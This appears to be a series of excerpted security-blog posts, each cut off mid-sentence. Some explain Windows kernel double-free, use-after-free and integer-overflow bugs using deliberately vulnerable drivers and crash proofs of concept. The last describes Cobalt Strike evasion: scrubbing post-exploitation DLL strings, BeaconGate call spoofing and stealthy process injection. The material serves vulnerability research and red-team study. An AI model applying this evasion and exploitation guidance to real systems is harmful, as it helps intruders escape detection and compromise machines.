𝙲𝙳𝚘𝚠𝚗𝚕𝚘𝚊𝚍𝙱𝚞𝚏𝚏𝚎𝚛::𝚁𝚎𝚕𝚎𝚊𝚜𝚎() but the buffer pointer is never nullified or flagged as freed. Later, the driver calls a helper routine wrapped around the cleanup phase: Inside FreeHandle(), the same buffer is freed again without validation. Because FreeHandle() blindly assumes ownership and responsibility for cleanup, it unknowingly triggers a second free on an already-freed memory block. This cleanup wrapping common in error handling paths, DriverUnload, or exception-safe routines makes such bugs deceptively difficult to detect in large codebases. The result? A dangerous double-free that can corrupt memory or open the door to further exploitation. Summary: Wrapping Around Danger – Double-Free in Disguise This driver shows a classic double-free bug: memory is freed once directly, then again via a cleanup callback (FreeHandle). The issue lies in freeing pDummy->Buffer twice without resetting or checking ownership. What makes it tricky is how the second free is wrapped in a callback just like real-world code, where cleanup is scattered across destructors or handlers, making such bugs harder to catch in large systems. Double-Free (Mitigation): Double-free vulnerabilities can be avoided by nullifying pointers after the first free, and checking their state before every deallocation. In complex code with shared pointers or cleanup callbacks, use flags or state checks to ensure memory is freed only once. Bonus Tip: Spotting Double-Free in Windows Drivers To identify double-free vulnerabilities, start by looking for deallocation functions. In user-mode, watch for free, delete, GlobalFree, or Release. In Windows kernel drivers, key functions include ExFreePoolWithTag, IoFreeMdl, ObDereferenceObject, MmFreeContiguousMemory, and RtlFreeHeap. Many of these calls are wrapped inside internal cleanup functions or callbacks (like CDownloadBuffer::Release or FreeHandle), which can obscure the actual free. Always trace pointer lifecycle: if it’s freed and still accessed or freed again, that’s a bug. Check if the pointer is nullified or checked post-free—if not, it might be reused unsafely.

Understanding Use-After-Free (UAF) in Windows Kernel Drivers

In this blog post, we’ll explore use-after-free (UAF) vulnerabilities in Windows kernel drivers. We will start by developing a custom vulnerable driver and analyzing how UAF occurs. Additionally, we will explain double free vulnerabilities, their implications, and how they can lead to system crashes or privilege escalation. Finally, we’ll develop a proof-of-concept (PoC) exploit to demonstrate the impact of these vulnerabilities, including triggering a blue screen of death (BSOD). What is Use-After-Free? A use-after-free (UAF) vulnerability occurs when a program continues to use a pointer after the associated memory has been freed. This can lead to memory corruption, arbitrary code execution, or system crashes. Common APIs That Allocate and Free Memory in Windows Kernel Drivers In Windows kernel development, memory allocation and deallocation are crucial operations. Improper management of allocated memory can lead to use-after-free (UAF) vulnerabilities, resulting in arbitrary code execution, privilege escalation, and system crashes (BSODs). This section explores various allocation and deallocation functions in Windows kernel drivers, their correct usage, and potential security risks. 1. Use-After-Free Classic Pool-Based Windows kernel provides paged and non-paged memory pools for allocation. In the case of classic pool-based UAF, the Windows kernel driver allocates memory using ExAllocatePoolWithTag(), deallocates it with ExFreePoolWithTag(), and then mistakenly accesses it. This results in a crash (BSOD) due to accessing invalid memory. Such vulnerabilities are critical, as they can be exploited to execute arbitrary code, escalate privileges, or corrupt kernel memory. In this example, we implement a custom kernel driver that allocates a pool of memory, frees it, and then intentionally accesses it, triggering a BSOD. Memory Allocation The kernel driver uses ExAllocatePoolWithTag() to allocate memory for storing data (in this case, wrenchData). This memory is part of the non-paged pool, meaning it remains in physical memory and isn’t swapped out. Memory Deallocation The memory is then freed using ExFreePool(wrenchData). However, the pointer wrenchData still holds the address of the now-freed memory. The problem arises because the pointer is not nullified or reset after freeing the memory. Use-After-Free Use-after-free happens when the freed memory is accessed again, as demonstrated by the code RtlCopyMemory(wrenchData->data, L”WKL UAF Attack!”, sizeof(L”WKL UAF Attack!”)). The kernel tries to copy data into the freed memory, which leads to unpredictable behavior. This memory is no longer valid and accessing it may cause system instability or crashes. Overwriting the Pointer The pointer wrenchData is then deliberately set to an invalid address (0x500). This step is crucial because it could lead to further exploitation if this invalid memory location is accessed in the future, causing a crash (BSOD) or other unintended behavior. Simple BSOD with UAF in a Custom Driver For now, I’ll take a simple UAF scenario and demonstrate how it can cause a BSOD using IOCTL. This is not full exploit development—just a basic crash to illustrate a use-after-free. We’ll dive deeper into exploitation techniques in future blog posts. This PoC demonstrates a use-after-free (UAF) vulnerability in a kernel driver. It opens the vulnerable device and sends an IOCTL command (IOCTL_TEST_CODE) that triggers the UAF. The driver attempts to access memory (wrenchData) that has already been freed, leading to invalid memory access, which could cause memory corruption, system instability, or a BSOD. In future posts, we’ll explore how to turn this into a fully working exploit. The crash occurs when the driver attempts to access freed memory, specifically in the ExFreeHeapPool function. The invalid memory access happens due to a use-after-free (UAF) condition, where a pointer to freed memory is still being dereferenced (mov rbx, qword ptr [rax+10h]). This results in accessing invalid or corrupted memory, leading to a system crash or potential memory corruption, as seen in the stack trace. 2. Use-After-Free in IRP-Based Memory Management The IRP-based memory management involves several key APIs, such as IoAllocateIrp, which allocates an IRP for processing I/O requests, and IoFreeIrp, which frees the IRP when it’s no longer needed. Additionally, IoCallDriver is used to send the IRP to another driver for further processing, while IoCompleteRequest signals the completion of the request. In our custom driver, we allocate memory for an IRP using IoAllocateIrp and process the request. However, after completing the request, we mistakenly free the IRP using IoFreeIrp but later attempt to access or modify the buffer that was passed with the IRP. This can lead to a use-after-free vulnerability, as the memory is no longer valid after being freed. In this code, the driver processes an IOCTL request and allocates memory for the IRP buffer (IRP_BUFFER) located in the system buffer of the IRP. It then copies the string “IRP Data” into the buffer->data. After the IRP is processed, it is freed using IoFreeIrp with the line IoFreeIrp(Irp);. However, the driver proceeds to access the buffer->data after the IRP is freed, which leads to a use-after-free (UAF) vulnerability. Accessing the memory of buffer->data after it has been deallocated results in undefined behavior, such as crashes or potential security exploits. Simple BSOD with UAF in a Custom Driver The exploit will follow the same pattern as previously explained. Let’s now examine the issue using WinDbg, as shown below. The crash appears to be related to a use-after-free (UAF) vulnerability. Specifically, the faulting address ffff860d71dfb9f0 seems to indicate that the IRP (I/O Request Packet) was freed, but the driver or process continued to access the freed memory. The IoFreeIrp call in the kernel driver appears to have been followed by an attempt to access the freed IRP buffer (located at ffff860d71dfb9f0), which caused the system to trigger a bug check (error code 1232). The stack trace points to the IOCTL handler in the kernel driver (KernelPool!IOCTL+0x90), which is where the memory access occurred after the IRP was freed. 3. Use-After-Free via ObDereferenceObject() The Windows kernel manages objects like FILE_OBJECT, DEVICE_OBJECT, and ETHREAD using reference counting. When an object is created or accessed, its reference count increases, and when it’s no longer needed, the reference count decreases. The function responsible for this is ObDereferenceObject(). If an object is freed while another part of the system

Understanding Integer Overflow in Windows Kernel Exploitation

In this blog post, we will explore integer overflows in Windows kernel drivers and cover how arithmetic operations can lead to security vulnerabilities. We will analyze real-world cases, build a custom vulnerable driver, and demonstrate how these flaws can impact memory allocations and system stability. What is Integer Overflow in the Kernel? Integer overflow occurs when an arithmetic operation exceeds the maximum value a data type can hold, causing it to wrap around. In the Windows kernel, integer overflows can lead to memory corruption, buffer overflows, or incorrect size calculations in kernel allocations, often resulting in heap corruption, out-of-bounds writes, and bug checks (AKA “blue screen of death” or BSOD). These vulnerabilities can arise in multiple ways: Before we dive into integer overflow vulnerabilities in the Windows kernel, let’s first understand data types and how they work in memory. Understanding Data Types When working with low-level programming in C and C++, especially in Windows kernel and user mode applications, choosing the right data type is critical. A wrong choice can lead to integer overflows, memory corruption, privilege escalation, and serious security vulnerabilities. To make things easier, I’ve put together a cheat sheet that you can refer back to whenever you’re analyzing a kernel driver or a user-mode application for potential bugs. This table gives you a quick overview of how different data types store values and where things can go wrong. Use this as your go-to reference when hunting for integer overflows, wraparounds, and other dangerous bugs in kernel and user-mode applications. Data Type Size (x64/x86) Signed Range Unsigned Range Used In char 1 byte -128 to 127 0 to 255 User & Kernel unsigned char 1 byte N/A 0 to 255 User & Kernel signed char 1 byte -128 to 127 N/A User & Kernel short 2 bytes -32,768 to 32,767 0 to 65,535 User & Kernel unsigned short 2 bytes N/A 0 to 65,535 User & Kernel signed short 2 bytes -32,768 to 32,767 N/A User & Kernel int 4 bytes -2,147,483,648 to 2,147,483,647 0 to 4,294,967,295 User & Kernel unsigned int 4 bytes N/A 0 to 4,294,967,295 User & Kernel signed int 4 bytes -2,147,483,648 to 2,147,483,647 N/A User & Kernel long (Windows) 4 bytes (x86/x64) -2,147,483,648 to 2,147,483,647 0 to 4,294,967,295 User & Kernel unsigned long 4 bytes N/A 0 to 4,294,967,295 User & Kernel signed long 4 bytes -2,147,483,648 to 2,147,483,647 N/A User & Kernel long long 8 bytes -9,223,372,036,854,775,808 to 9,223,372,036,854,775,807 0 to 18,446,744,073,709,551,615 User & Kernel unsigned long long 8 bytes N/A 0 to 18,446,744,073,709,551,615 User & Kernel signed long long 8 bytes -9,223,372,036,854,775,808 to 9,223,372,036,854,775,807 N/A User & Kernel SIZE_T 8 bytes (x64) / 4 bytes (x86) N/A 0 to 18,446,744,073,709,551,615 (x64) / 4,294,967,295 (x86) User & Kernel SSIZE_T 8 bytes (x64) / 4 bytes (x86) -9,223,372,036,854,775,808 to 9,223,372,036,854,775,807 (x64) / -2,147,483,648 to 2,147,483,647 (x86) N/A User & Kernel ULONG 4 bytes N/A 0 to 4,294,967,295 Kernel Only ULONGLONG 8 bytes N/A 0 to 18,446,744,073,709,551,615 Kernel Only DWORD 4 bytes 0 to 4,294,967,295 Same as unsigned int User & Kernel NTSTATUS 4 bytes Varies (signed) N/A Kernel Only HANDLE 8 bytes (pointer) System pointer System pointer User & Kernel The above data sheet provides a comprehensive reference for both user mode and kernel mode data types, covering their sizes, ranges, and potential overflow scenarios. This information is based on official Microsoft documentation and kernel data types and serves as a valuable resource for identifying vulnerabilities related to integer overflows in kernel drivers. Common Data Types That Can Cause Integer Overflow in Kernel Data Type Size Signed/Unsigned Range Overflow Type ULONG 4 bytes Unsigned 0 to 4,294,967,295 (0xFFFFFFFF) Unsigned wraparound LONG 4 bytes Signed -2,147,483,648 to 2,147,483,647 Signed overflow ULONG64 8 bytes Unsigned 0 to 18,446,744,073,709,551,615 Large value overflow LONG64 8 bytes Signed -9,223,372,036,854,775,808 to 9,223,372,036,854,775,807 Signed overflow SIZE_T 4 bytes (x86) / 8 bytes (x64) Unsigned Platform-dependent Unsigned wraparound SSIZE_T 4 bytes (x86) / 8 bytes (x64) Signed Platform-dependent Signed overflow LONG_PTR 4 bytes (x86) / 8 bytes (x64) Signed Platform-dependent Pointer arithmetic overflow INT64 8 bytes Signed Same as LONG64 Multiplication overflow Network Packet Overflow in Custom Windows Kernel Drivers (Addition ULONG Overflow) I am demonstrating a custom Windows kernel driver that simulates the processing of network packets. To understand the vulnerability, let’s first discuss ULONG and its range. In Windows, ULONG is a 32-bit unsigned integer, meaning it can hold values from 0x00000000 (0 in decimal) to 0xFFFFFFFF (4,294,967,295 in decimal). Since it cannot store negative values, any arithmetic operation that exceeds 0xFFFFFFFF causes an integer overflow, wrapping the value back to a much smaller number instead of continuing to increase. This behavior is the root cause of the vulnerability in my custom driver. The vulnerable function in this custom driver takes a user-supplied packet size and adds 0x1000 to determine how much memory to allocate for storing the packet. However, if an attacker provides a large value like 0xFFFFFFFF, adding 0x1000 causes an integer wraparound, meaning instead of a large allocation, the kernel ends up allocating a much smaller buffer than expected. For example, 0xFFFFFFFF + 0x1000 wraps around to 0x00000FFF, allocating only 4,095 bytes instead of the intended large buffer. Triggering the Bug: Integer Wraparound in Packet Allocation I created a simple PoC (proof of concept) to trigger the vulnerable line in the driver. The function takes a user-supplied packet size and adds 0x1000 for memory allocation. However, providing a large value like 0xFFFFFFFF causes an integer wraparound, resulting in a much smaller allocation (0x00000FFF instead of the intended large buffer), leading to a crash. The crash occurred at: movntps xmmword ptr [rcx-10h], xmm0, attempting to write beyond the allocated buffer at rcx = ffff860d714f1010, which is already out of bounds from the 0x1000-byte allocation at RAX. This confirms an out-of-bounds memory write due to the integer overflow in the allocation size calculation. Packet Size Overflow in Custom Windows Kernel Drivers (Signed Integer Overflow Long) I am demonstrating a custom Windows kernel driver that simulates the processing

Harnessing the Power of Cobalt Strike Profiles for EDR Evasion – Part 2

This blog post is a continuation of the previous entry “Harnessing the Power of Cobalt Strike Profiles for EDR Evasion“, we covered the malleable profile aspects of Cobalt Strike and its role in security solution evasion. Since the release of version 4.9, Cobalt Strike has introduced a number of significant updates aimed at improving operator flexibility, evasion techniques, and custom beacon implementation. In this post, we’ll dive into the latest features and enhancements, examining how they impact tradecraft and integrate into modern adversary simulation workflows.We will build an OPSEC-safe malleable C2 profile that incorporates the latest best practices and features. All codes and scripts referenced throughout this post are available on our GitHub repository. CS 4.9 – Post-Exploitation DLLs Cobalt Strike 4.9 introduces a new malleable C2 option, post-ex.cleanup. This option specifies whether or not to clean up the post-exploiation reflective loader memory when the DLL is loaded.Our initial attempt was to extract the post-exploitation DLLs within the Cobaltstrike JAR file: Upon checking for strings, nothing was detected as the DLLs are encrypted.When checking the documentation, we stumbled upon the POSTEX_RDLL_GENERATE hook. This hook takes place when the beacon is tasked to perform a post exploitation task such as keylogging, taking a screenshot, run Mimikatz, etc. According to the documentation, the raw Post-ex DLL binary is passed as the second argument. So we created a simple script, to save its value to the disk: Load the CNA script to the Cobal Strike client, and task the beacon to perform a post-exploitation task (this case a screenshot): Tasking the beacon with all the possible post-exploitation tasks, will provided us all the 10 post-ex DLLs: After extracting the DLLs, find all the strings within. We come up with the following set of profile configuration (shortened for readability) on preventing any potential static detection: The full profile with all the found strings can be found here. Note: It is highly recommended to replace the plaintext strings with something meaningful to the operator, since the changes will be outputted during or after the post-exploitation job. For example, in the image below we modified the string to show them in reverse during a port scan: Beacon Data Store Beacon data store allows us to stored items to be executed multiple times without having to resend the item. The default data store size is 16 entries, although this can be modified by configuring the stage.data_store_size option within your Malleable C2 profile to match your needs: WinHTTP Support Even though there is a new profile option to set a default internet library, we will not be including the option in our profile. The reason is that both libraries are heavily monitored from security solutions and there is no difference in terms of evasion between the libraries. What matters, is a good red team infrastructure which bypasses the network and memory detection.However, if you prefer to using a specific library (in this case winhttp.dll), the following option can be applied to the profile: CS 4.10 – BeaconGate BeaconGate is a feature that instructs Beacon to intercept supported API calls via a custom Sleep Mask. This allows the developer to implement advanced evasion techniques without having to gain control over Beacon’s API calls through IAT hooking in a UDRL, a method that is both complex and difficult to execute. It is recommended that you have the profile configured to proxy all the 23 functions that Cobalt Strike currently supports (as of 4.11). This can be done by setting the new stage.beacon_gate Malleable C2 option, as demonstrated below: The profile will also enable the use of BeaconGate where we later start playing with it. This is crucial, otherwise the changes will not be applied to exported Beacons. To get started, we need to work with Sleepmask-VS project from Fortra’s repository. If you prefer the Linux environment for development, you can use the Artifact Kit template instead. The BeaconGateWrapper function in /library/gate.cpp is where these API calls are handled. The following demo code checks if the the VirtualAlloc function is called. This enabled us to intercept the execution flow and add the evasion mechanism(s): The same can be applied for all the other supported high-level API functions. In this example, we are going to implement callback spoofing mechanism. Since the goal of this blog is to explain how the BeaconGate implementation works, we will use the HulkOperator’s code for the spoofing mechanism. The custom SetupConfig function expects a function pointer to spoof. This can be achieved by utilizing the functionCall structure. The functionPtr field holds the pointer to the WinAPI function you want to hook. To access the function’s name, you can use functionCall->function, and for the number of arguments, use functionCall->numOfArgs. Individual argument values can be retrieved via functionCall->args[i]. Here’s a proof of concept showing how the final code looks: Next time you export a Beacon, the spoof mechanism will be applied. The final implementation code can be found here. CS 4.11 – Novel Process Injection Cobalt Strike 4.11 introduced a custom process injection technique, ObfSetThreadContext. This injection technique, bypasses the modern detection of injected threads (where the start address of a thread is not backed by a Portable Executable image on disk) by making the use of various gadgets to redirect execution. By default, this new option will automatically set the injected thread start address as the (legitimate) remote image entry point, but can be additionally configured with custom module and offset as shown below: The option above sets ObfSetThreadContext as the default process injection technique. The next injection techniques servers as a backup when the default injection technique fails. This happens on certain cases (i.e. x86 -> x64 injection, self-injection etc.) CS 4.11 – sRDI with evasion capabilities According to Fortra, the version 4.11 ports Beacon’s default reflective loader to a new prepend/sRDI style loader with several new evasive features added. sRDI enables the transformation of DLL files into position-independent shellcode. It functions as a comprehensive PE loader, handling correct section permissions, TLS callbacks, and various integrity